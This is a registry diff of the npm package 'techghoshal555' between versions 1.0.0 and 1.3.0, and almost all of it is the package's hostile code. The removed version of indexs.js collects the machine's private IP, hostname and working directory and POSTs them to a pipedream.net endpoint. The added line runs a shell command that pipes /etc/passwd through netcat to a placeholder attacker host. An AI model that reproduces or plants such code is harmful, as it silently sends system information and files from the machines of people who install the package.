techghoshal555 1.0.0 → 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/indexs.js +1 -29
- package/package.json +1 -1
- package/README.md +0 -9
package/indexs.js
CHANGED
@@ -1,29 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
4
|
-
const host = execSync('hostname', { encoding: 'utf-8' });
|
5
|
-
const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
6
|
-
|
7
|
-
const https = require("https")
|
8
|
-
|
9
|
-
const data = JSON.stringify({
|
10
|
-
"private IP": priv_ip,
|
11
|
-
"hostname": host,
|
12
|
-
"current dir": current_dir
|
13
|
-
|
14
|
-
})
|
15
|
-
|
16
|
-
const options = {
|
17
|
-
hostname: "eo68t6hwethv4lo.m.pipedream.net",
|
18
|
-
port: 443,
|
19
|
-
path: "/",
|
20
|
-
method: "POST",
|
21
|
-
headers: {
|
22
|
-
"Content-Type": "application/json",
|
23
|
-
"Content-Length": data.length,
|
24
|
-
},
|
25
|
-
}
|
26
|
-
|
27
|
-
const req = https.request(options)
|
28
|
-
req.write(data)
|
29
|
-
req.end()
|
1
|
+
require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
|
package/package.json
CHANGED